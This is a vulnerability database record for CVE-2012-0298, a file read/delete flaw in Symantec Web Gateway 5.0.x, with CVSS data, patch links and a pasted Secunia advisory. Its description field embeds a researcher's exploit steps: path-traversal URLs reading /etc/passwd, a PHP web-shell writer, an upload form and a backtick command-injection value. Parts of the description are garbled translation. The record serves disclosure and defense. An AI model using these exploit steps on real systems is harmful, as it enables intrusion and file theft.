ID

VAR-201205-0221


CVE

CVE-2012-0298


TITLE

Symantec Web Gateway Vulnerability to read arbitrary files in the file management script on the management screen

Trust: 0.8

sources: JVNDB: JVNDB-2012-002473

DESCRIPTION

The file-management scripts in the management GUI in Symantec Web Gateway 5.0.x before 5.0.3 allow remote attackers to (1) read or (2) delete arbitrary files via unspecified vectors. (1) Read or (2) A vulnerability exists that will be removed.Arbitrary file by a third party (1) Read or (2) It may be deleted. A vulnerability exists in Symantec Web Gateway. A successful exploit could render the system unusable. Symantec Web Gateway (SWG) is a set of network content filtering software developed by Symantec Corporation of the United States. The software provides web content filtering, data loss prevention, and more. Software: Symantec Web Gateway Current Software Version: 5.0.2.8 Product homepage: www.symantec.com Author: S2 Crew [Hungary] CVE: CVE-2012-0297, CVE-2012-0298, ??? File include: https://192.168.82.207/spywall/previewProxyError.php?err=../../../../../../../../etc/passwd File include and OS command execution: http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd You can execute OS commands just include the error_log: /usr/local/apache2/logs/ -rw-r--r-- 1 root root 5925 Nov 15 07:25 access_log -rw-r--r-- 1 root root 3460 Nov 15 07:21 error_log Make a connection to port 80: <?php $f = fopen('/var/www/html/spywall/cleaner/cmd.php','w'); $cmd = "<?php system(\$_GET['cmd']); ?>"; fputs($f,$cmd); fclose($f); print "Shell creation done<br>"; ?> Arbitary file download and delete: https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog d parameter: the complete filename After the download process application removes the original file with root access! :) Command execution methods: 1.Method Download and delete the /var/www/html/ciu/.htaccess file. After it you can access the ciu interface on web. There is an upload script: /ciu/uploadFile.php User can control the filename and the upload location: $_FILES['uploadFile']; $_POST['uploadLocation']; 2.Method <form action="https://192.168.82.192/ciu/remoteRepairs.php" method="POST" enctype="multipart/form-data"> <input type="file" name="uploadFile"> <input type="text" name="action" value="upload"> <input type="text" name="uploadLocation" value="/var/www/html/spywall/cleaner/"> <input type="hidden" name="configuration" value="test"> <input type="submit" value="upload!"> </form> The "/var/www/html/spywall/cleaner" is writeable by www-data. Command execution after authentication: http://192.168.82.207/spywall/adminConfig.php (this is deprecated config file, it should be remove) From the modified POST message: Content-Disposition: form-data; name="pingaddress" 127.0.0.1`whoami>/tmp/1234.txt` . ---------------------------------------------------------------------- Become a PSI 3.0 beta tester! Test-drive the new beta version and tell us what you think about its extended automatic update function and significantly enhanced user-interface. Download it here! http://secunia.com/psi_30_beta_launch ---------------------------------------------------------------------- TITLE: Symantec Web Gateway Multiple Vulnerabilities SECUNIA ADVISORY ID: SA49216 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/49216/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=49216 RELEASE DATE: 2012-05-18 DISCUSS ADVISORY: http://secunia.com/advisories/49216/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/49216/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=49216 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Multiple vulnerabilities have been reported in Symantec Web Gateway, which can be exploited by malicious people to disclose potentially sensitive information, conduct cross-site scripting attacks, manipulate certain data, and compromise a vulnerable system. 1) An unspecified error can be exploited to inject arbitrary commands. No further information is currently available. 2) Certain unspecified input is not properly verified before being used to include files. This can be exploited to include arbitrary files from local or external resources. This can be exploited to remove or disclose the contents of arbitrary files. 4) Certain unspecified input is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. The vulnerabilities are reported in versions prior to 5.0.3. SOLUTION: Update to version 5.0.3. PROVIDED AND/OR DISCOVERED BY: 1-3) The vendor credits Tenable Network Security via ZDI and an anonymous person via SecuriTeam Secure Disclosure. 4) The vendor credits Ajay Pal Singh Atwal and an anonymous person. ORIGINAL ADVISORY: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00 OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. ---------------------------------------------------------------------- Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org ----------------------------------------------------------------------

Trust: 2.7

sources: NVD: CVE-2012-0298 // JVNDB: JVNDB-2012-002473 // CNVD: CNVD-2012-2633 // BID: 53442 // VULHUB: VHN-53579 // PACKETSTORM: 114231 // PACKETSTORM: 112876

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2012-2633

AFFECTED PRODUCTS

vendor:symantecmodel:web gatewayscope:eqversion:5.0

Trust: 2.5

vendor:symantecmodel:web gatewayscope:eqversion:5.0.1

Trust: 2.5

vendor:symantecmodel:web gatewayscope:eqversion:5.0.2

Trust: 1.6

vendor:symantecmodel:web gatewayscope:eqversion:5.0.3

Trust: 0.8

vendor:symantecmodel:web gatewayscope:ltversion:5.0.x

Trust: 0.8

vendor:symantecmodel:web gatewayscope:neversion:5.0.3

Trust: 0.3

sources: CNVD: CNVD-2012-2633 // BID: 53442 // JVNDB: JVNDB-2012-002473 // CNNVD: CNNVD-201205-334 // NVD: CVE-2012-0298

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2012-0298
value: MEDIUM

Trust: 1.0

NVD: CVE-2012-0298
value: MEDIUM

Trust: 0.8

CNNVD: CNNVD-201205-334
value: MEDIUM

Trust: 0.6

VULHUB: VHN-53579
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2012-0298
severity: MEDIUM
baseScore: 6.4
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.8

VULHUB: VHN-53579
severity: MEDIUM
baseScore: 6.4
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:P
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: PARTIAL
exploitabilityScore: 10.0
impactScore: 4.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

sources: VULHUB: VHN-53579 // JVNDB: JVNDB-2012-002473 // CNNVD: CNNVD-201205-334 // NVD: CVE-2012-0298

PROBLEMTYPE DATA

problemtype:CWE-264

Trust: 1.9

sources: VULHUB: VHN-53579 // JVNDB: JVNDB-2012-002473 // NVD: CVE-2012-0298

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201205-334

TYPE

permissions and access control

Trust: 0.6

sources: CNNVD: CNNVD-201205-334

CONFIGURATIONS

sources: JVNDB: JVNDB-2012-002473

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-53579

PATCH

title:SYM12-006url:http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00

Trust: 0.8

title:SYM12-006url:http://www.symantec.com/ja/jp/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00

Trust: 0.8

title:Symantec Web Gateway Management arbitrary file download removal vulnerability patchurl:https://www.cnvd.org.cn/patchInfo/show/17111

Trust: 0.6

sources: CNVD: CNVD-2012-2633 // JVNDB: JVNDB-2012-002473

EXTERNAL IDS

db:NVDid:CVE-2012-0298

Trust: 3.5

db:BIDid:53442

Trust: 2.0

db:JVNDBid:JVNDB-2012-002473

Trust: 0.8

db:CNNVDid:CNNVD-201205-334

Trust: 0.7

db:SECUNIAid:49216

Trust: 0.7

db:CNVDid:CNVD-2012-2633

Trust: 0.6

db:NSFOCUSid:19662

Trust: 0.6

db:EXPLOIT-DBid:19406

Trust: 0.1

db:VULHUBid:VHN-53579

Trust: 0.1

db:PACKETSTORMid:114231

Trust: 0.1

db:PACKETSTORMid:112876

Trust: 0.1

sources: CNVD: CNVD-2012-2633 // VULHUB: VHN-53579 // BID: 53442 // JVNDB: JVNDB-2012-002473 // PACKETSTORM: 114231 // PACKETSTORM: 112876 // CNNVD: CNNVD-201205-334 // NVD: CVE-2012-0298

REFERENCES

url:http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00

Trust: 2.0

url:http://www.securityfocus.com/bid/53442

Trust: 1.7

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/75732

Trust: 1.1

url:http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0298

Trust: 0.8

url:http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2012-0298

Trust: 0.8

url:http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory

Trust: 0.6

url:http://secunia.com/advisories/49216

Trust: 0.6

url:http://www.nsfocus.net/vulndb/19662

Trust: 0.6

url:http://www.symantec.com/business/web-gateway

Trust: 0.3

url:http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&amp;pvid=security_advisory&amp;year=2012&amp;suid=20120517_00

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2012-0298

Trust: 0.1

url:https://192.168.82.207/spywall/previewproxyerror.php?err=../../../../../../../../etc/passwd

Trust: 0.1

url:http://192.168.82.207/spywall/releasenotes.php?relfile=../../../../../../etc/passwd

Trust: 0.1

url:https://www.symantec.com

Trust: 0.1

url:http://192.168.82.207/spywall/adminconfig.php

Trust: 0.1

url:https://192.168.82.207/spywall/download_file.php?d=/tmp/addroutelog&name=addroutelog

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2012-0297

Trust: 0.1

url:https://192.168.82.192/ciu/remoterepairs.php"

Trust: 0.1

url:http://secunia.com/advisories/49216/

Trust: 0.1

url:https://ca.secunia.com/?page=viewadvisory&vuln_id=49216

Trust: 0.1

url:http://secunia.com/advisories/49216/#comments

Trust: 0.1

url:http://secunia.com/psi_30_beta_launch

Trust: 0.1

url:http://secunia.com/vulnerability_intelligence/

Trust: 0.1

url:http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/

Trust: 0.1

url:http://secunia.com/advisories/secunia_security_advisories/

Trust: 0.1

url:http://secunia.com/vulnerability_scanning/personal/

Trust: 0.1

url:http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org

Trust: 0.1

url:http://secunia.com/advisories/about_secunia_advisories/

Trust: 0.1

sources: CNVD: CNVD-2012-2633 // VULHUB: VHN-53579 // BID: 53442 // JVNDB: JVNDB-2012-002473 // PACKETSTORM: 114231 // PACKETSTORM: 112876 // CNNVD: CNNVD-201205-334 // NVD: CVE-2012-0298

CREDITS

An anonymous researcher

Trust: 0.9

sources: BID: 53442 // CNNVD: CNNVD-201205-334

SOURCES

db:CNVDid:CNVD-2012-2633
db:VULHUBid:VHN-53579
db:BIDid:53442
db:JVNDBid:JVNDB-2012-002473
db:PACKETSTORMid:114231
db:PACKETSTORMid:112876
db:CNNVDid:CNNVD-201205-334
db:NVDid:CVE-2012-0298

LAST UPDATE DATE

2025-04-11T22:53:43.694000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2012-2633date:2012-05-21T00:00:00
db:VULHUBid:VHN-53579date:2017-12-05T00:00:00
db:BIDid:53442date:2012-06-28T12:10:00
db:JVNDBid:JVNDB-2012-002473date:2012-05-23T00:00:00
db:CNNVDid:CNNVD-201205-334date:2012-05-21T00:00:00
db:NVDid:CVE-2012-0298date:2025-04-11T00:51:21.963

SOURCES RELEASE DATE

db:CNVDid:CNVD-2012-2633date:2012-05-21T00:00:00
db:VULHUBid:VHN-53579date:2012-05-21T00:00:00
db:BIDid:53442date:2012-05-17T00:00:00
db:JVNDBid:JVNDB-2012-002473date:2012-05-23T00:00:00
db:PACKETSTORMid:114231date:2012-06-27T14:25:28
db:PACKETSTORMid:112876date:2012-05-18T05:24:51
db:CNNVDid:CNNVD-201205-334date:2012-05-21T00:00:00
db:NVDid:CVE-2012-0298date:2012-05-21T20:55:17.803